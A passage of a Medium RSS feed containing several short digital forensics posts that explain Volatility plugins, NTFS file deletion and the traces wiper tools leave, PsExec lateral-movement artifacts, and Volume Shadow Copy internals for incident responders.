integrated into analysis plugins via the <strong>--dump</strong> parameter.</p><p>• <strong>dumpfiles (Vol 2/3):</strong> Extracts <strong>cached files</strong> from memory using File_Object data structures.</p><p>• <strong>shimcachemem (Vol 2):</strong> Recovers <strong>AppCompatCache (ShimCache)</strong> entries from memory that have not yet been written to the registry.</p><p>• <strong>mftparser (Vol 2):</strong> Locates and parses the <strong>NTFS Master File Table ($MFT)</strong> resident in memory.</p><ul><li><strong>vadyarascan (Vol 3):</strong> Scans process memory sections specifically for <strong>YARA signatures.</strong></li></ul><p>Once you understand how the tools and plugins work, detecting any activity, even advanced techniques, becomes much easier. The key is knowing how they function.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cda9449ff734" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-d8af3ad6e8db?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8af3ad6e8db</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[carving]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Wed, 11 Feb 2026 01:15:48 GMT</pubDate>
            <atom:updated>2026-02-13T00:52:14.202Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Deleted or Gone Forever? Uncovering the Secrets of File Wiping<br></em></strong>Explore how Windows handles file deletion, the tricks used by wipers to erase data, and forensic techniques that can recover what seemed lost.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sjDEOzqLKCTPCBryGQR5bw.jpeg" /><figcaption>Burn it</figcaption></figure><p>In the context of Windows forensics, there is a critical distinction between standard <strong>file deletion</strong> and <strong>file wiping</strong>. While standard deletion marks data as available for reuse, wipers are <strong>anti-forensic tools</strong> designed to overwrite data and metadata to make recovery impossible,.</p><h4><strong>Standard NTFS File Deletion:</strong></h4><p>When a file is deleted normally in NTFS (e.g., via a standard “Delete” or “Shift+Delete”), the operating system does not actually remove the data from the disk. Instead, it performs the following metadata operations:</p><p>• <strong>MFT Record Status:</strong> The “in-use” bit in the file’s <strong>Master File Table (MFT)</strong> record is flipped to 0, marking the record as available, but the metadata remains intact until the record is reused,,.</p><p>• <strong>Cluster Allocation:</strong> The <strong>$Bitmap</strong> file marks the clusters previously used by the file as unallocated (available), but the actual file data remains in “slack space” until overwritten by new data,,.</p><p>• <strong>Directory Index:</strong> The parent directory’s <strong>$I30</strong> index marks the entry as available, which may trigger a “rebalancing” of the B-tree index,.</p><p>• <strong>Timestamps:</strong> Crucially, <strong>Windows does not update timestamps upon deletion</strong>; the original MACB times remain in the unallocated MFT record,,.</p><h4><strong>File Wipers and Anti-Forensics:</strong></h4><p>Wipers are used by adversaries to overwrite malware, staging tools, or exfiltrated data. The sources identify several common tools and their “tool markings”:</p><p>• <strong>SDelete (Sysinternals):</strong> A popular tool because it is <strong>Microsoft-signed</strong>, often bypassing allow-lists. To hide the original filename, SDelete <strong>renames the file 26 times</strong>, replacing characters with successive letters of the alphabet (A through Z) before final deletion.</p><p>• <strong>BCWipe:</strong> A commercial tool that is highly effective at clearing <strong>MFT records</strong>, directory entries, and file slack,. It renames files with long random strings of equal length to the original.</p><p>• <strong>Eraser:</strong> An open-source tool that renames files (often seven times) and <strong>zeroes out timestamps</strong> (setting them to 1 January 1601).</p><p>• <strong>Cipher.exe:</strong> A built-in Windows utility that can be used with the <strong>/w</strong> switch to <strong>wipe free space</strong> on a volume,. It creates a temporary directory named <strong>EFSTMPWP</strong> at the volume root to fill the drive with junk data.</p><h4><strong>Forensic Artifacts of Wiping and Deletion:</strong></h4><p>Even when a wiper is successful at destroying a file’s content, it often leaves a “trail of the wiper itself”.</p><p>• <strong>NTFS Journals:</strong> The <strong>$UsnJrnl</strong> and <strong>$LogFile</strong> record the rapid-fire renames and deletions. For example, an investigator can see the 26 successive renames of SDelete in the USN Journal records,,,.</p><p>• <strong>$I30 Slack Space:</strong> Most wipers fail to completely clear directory index slack. Deleted entries, including filenames and MFT references, can often be recovered using tools like <strong>Indx2Csv</strong> or <strong>Velociraptor.</strong></p><p>• <strong>Evidence of Execution:</strong> Artifacts such as <strong>Prefetch</strong>, <strong>ShimCache</strong>, and <strong>Amcache</strong> may still contain entries for the wiping tool or the files it accessed during the first 10 seconds of execution,,,.</p><p>• <strong>Registry Keys:</strong> Use of Sysinternals tools like SDelete often results in an <strong>EulaAccepted</strong> registry key modification.</p><h4><strong>Data Recovery Strategies:</strong></h4><p>Investigators have three primary methods to counter deletion and wiping:</p><p>1. <strong>Metadata Method:</strong> If the MFT record has not been reused, tools like <strong>icat</strong> or <strong>FTK Imager</strong> can point to the unallocated clusters and extract the original file,,.</p><p>2. <strong>Carving Method:</strong> If metadata is destroyed (common with wiping), analysts use <strong>file signatures</strong> (e.g., “MZ” for executables) to find and extract data from unallocated clusters using tools like <strong>Bulk Extractor.</strong></p><p>3. <strong>Volume Shadow Copies (VSS):</strong> VSCs act as a “time machine,” allowing analysts to recover files as they existed in previous snapshots, often <strong>bypassing wiping entirely</strong> if the snapshot was taken before the anti-forensic activity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8af3ad6e8db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-3dfd6544bece?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/3dfd6544bece</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[psexec]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Sat, 07 Feb 2026 11:54:46 GMT</pubDate>
            <atom:updated>2026-02-13T00:55:09.397Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Service Installed, Session Opened: Tracing PsExec with Logs and Pipelines.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F4Z2ukqV-ah6qijwE_yxqg.jpeg" /><figcaption>If it was touched, it can be found</figcaption></figure><p>In digital forensics and incident response, <strong>PsExec</strong> and the concept of the <strong>pipeline</strong> (specifically within PowerShell and analysis workflows) are frequently intersected when investigators hunt for lateral movement at scale.</p><h3><strong>PsExec: Forensic Significance and Footprint :.</strong></h3><p>PsExec is a legitimate Microsoft Sysinternals tool often abused by attackers for remote code execution and lateral movement. Its footprint on a system is distinct and serves as a major indicator of compromise:</p><p>• <strong>Service Creation:</strong> Every time the Sysinternals version of PsExec executes, it installs a temporary service, by default named <strong>PSEXESVC</strong>. This generates <strong>System Event ID 7045</strong> (“A new service was installed”).</p><p>• <strong>Logon Types:</strong> PsExec typically initiates a <strong>Logon Type 3</strong> (Network Logon). However, if explicit credentials (-u and -p) are provided in the command line, it creates a <strong>Type 3 followed by a Type 2</strong> sequence, which causes credentials (such as hashes) to be <strong>cached</strong> in the remote system&#39;s memory, making them vulnerable to theft by tools like Mimikatz.</p><p>• <strong>Named Pipes:</strong> PsExec uses <strong>named pipes</strong> for inter-process communication, such as \.\pipe\PSEXESVC or \.\pipe\PSEXESVC-[Hostname]-[PID]-stdin. These can be identified in memory using process handle analysis.</p><p>• <strong>Artifact Files:</strong> Since version 2.30, PsExec creates a temporary file in C:\Windows named PSEXEC-[Originating_System]-[Value].key to mitigate certain vulnerabilities. Though the file is deleted after the session ends, its name often persists in the <strong>USN Journal</strong> or <strong>Prefetch</strong>.</p><h3><strong>The Role of the “Pipeline” in Investigation :.&gt;</strong></h3><p>The term “pipeline” refers to the method by which data is passed from one command to another for processing, which is central to modern forensic analysis:</p><p>• <strong>PowerShell Pipelining:</strong> PowerShell uses a <strong>verb-noun</strong> naming scheme where cmdlet output is encapsulated in <strong>objects</strong> rather than strings. These objects are passed through the pipeline (|) to other cmdlets for filtering or formatting (e.g., Get-Service | Out-GridView).</p><p>• <strong>Pipeline Logging:</strong> Advanced PowerShell logging tracks these operations. <strong>Event ID 4103</strong> specifically records <strong>Pipeline Execution Details</strong>, which can capture variable values, interim command output, and even parts of deobfuscated scripts.</p><p>• <strong>Analysis Pipelining:</strong> When using tools like <strong>Volatility</strong>, investigators often “pipe” output to Linux utilities to isolate evidence. For example, piping windows.pstree to cut or grep helps an analyst quickly identify anomalous parent-child relationships, such as an explorer.exe process spawning a remote execution tool.</p><h3><strong>Scaling PsExec Detection via Pipelines :</strong></h3><p>Investigators use frameworks like <strong>Kansa</strong> to scale the detection of tools like PsExec across thousands of hosts.</p><p>• Kansa uses <strong>PowerShell Remoting</strong> to run modules in parallel.</p><p>• The data returned from these modules is often processed through an <strong>analysis pipeline</strong>, where scripts like Get-ASEPImagePathLaunchStringMD5UnsignedStack.ps1 perform <strong>Least Frequency of Occurrence (LFO)</strong> analysis to identify outliers, such as a PsExec service running on only one or two workstations.</p><ul><li>By <strong>piping</strong> these large datasets through filtering utilities (like Select-String), analysts can pivot from a suspicious service name to the specific host and account involved in the lateral movement.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3dfd6544bece" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-0ff29c663b87?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ff29c663b87</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[forensic-science]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[volume-shadow-copies]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Fri, 06 Feb 2026 21:58:49 GMT</pubDate>
            <atom:updated>2026-02-06T21:58:49.660Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Snapshots, Scope, and VSS</em></strong><br>“<em>Why VSS is gold for investigators — and weaker than it used to be”</em></blockquote><h3><strong>Volume Shadow Copy Service (VSS)</strong></h3><p>The <strong>Volume Shadow Copy Service</strong> is a Windows component that provides <strong>persistent snapshots</strong> of a volume at specific points in time.</p><p>• <strong>Mechanism:</strong> It utilizes a <strong>copy-on-write (COW)</strong> technique. When the operating system is about to write new data to a block, the service first makes a backup copy of the original data blocks.</p><p>• <strong>Storage:</strong> These backed-up blocks are stored in <strong>16 KB chunks</strong> within specialized files located in the hidden <strong>“System Volume Information”</strong> directory at the root of the volume.</p><p>• <strong>Forensic Value:</strong> VSCs act as a “time machine,” allowing investigators to <strong>“rewind”</strong> a file, a directory, or nearly an entire volume to a previous state. This is vital for recovering <strong>wiped files</strong>, deleted event logs, or previous versions of the registry.</p><h3><strong>2. Scope (ScopeSnapshots)</strong></h3><p>The <strong>“Scope”</strong> of VSS was significantly altered with the introduction of <strong>ScopeSnapshots</strong> in Windows 8, which continues to be enabled by default in Windows 10 and 11 client operating systems.</p><p>• <strong>Function:</strong> When enabled, the service only monitors files on the boot volume that are deemed <strong>relevant for system restore</strong> purposes.</p><p>• <strong>Forensic Impact:</strong> This feature significantly <strong>degrades forensic effectiveness</strong> on client systems because it ignores many user files and folders. Testing has shown that files recovered from user directories (like the Desktop) in modern client snapshots are often <strong>corrupted</strong> because they fall outside the “scope” of the snapshot.</p><p>• <strong>Server Difference:</strong> Notably, <strong>Windows Server platforms</strong> still use the more complete VSS functionality, providing nearly complete volume backups.</p><p>• <strong>Registry Control:</strong> Investigators can check or disable this feature via the registry at: HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\ScopeSnapshots (setting it to 0 disables the scope limitation).</p><h3><strong>3. Catalog File</strong></h3><p>The <strong>Catalog file</strong> is a critical tracking component found within the <strong>System Volume Information</strong> directory.</p><p>• <strong>Purpose:</strong> It acts as the <strong>metadata index</strong> for all active volume shadow copies on the system.</p><p>• <strong>Contents:</strong> It records the <strong>VSC ID</strong> and the <strong>timestamp</strong> of when each snapshot was created.</p><p>• <strong>Naming Convention:</strong> It is named using a specific <strong>GUID</strong> format, typically: {3808876b-c176-4e48-b7ae-04046e6cc752}.</p><ul><li><strong>Relationship to Store Files:</strong> For every active snapshot, there is a corresponding <strong>“Store” file</strong> that contains the actual 16 KB data blocks. These store files are named with their own unique GUID followed by the GUID of the <strong>Catalog file</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aU-9j01nMA49MhtJ0UinWg.jpeg" /><figcaption>Artifacts over opinions</figcaption></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><ul><li><strong>Investigative Importance:</strong> When snapshots are deleted, references are removed from the catalog. However, because these are known file types, tools like <strong>vss_carver.py</strong> can carve for deleted catalog and store files in unallocated space, potentially allowing an analyst to <strong>recreate and mount</strong> snapshots that an attacker attempted to delete.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ff29c663b87" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>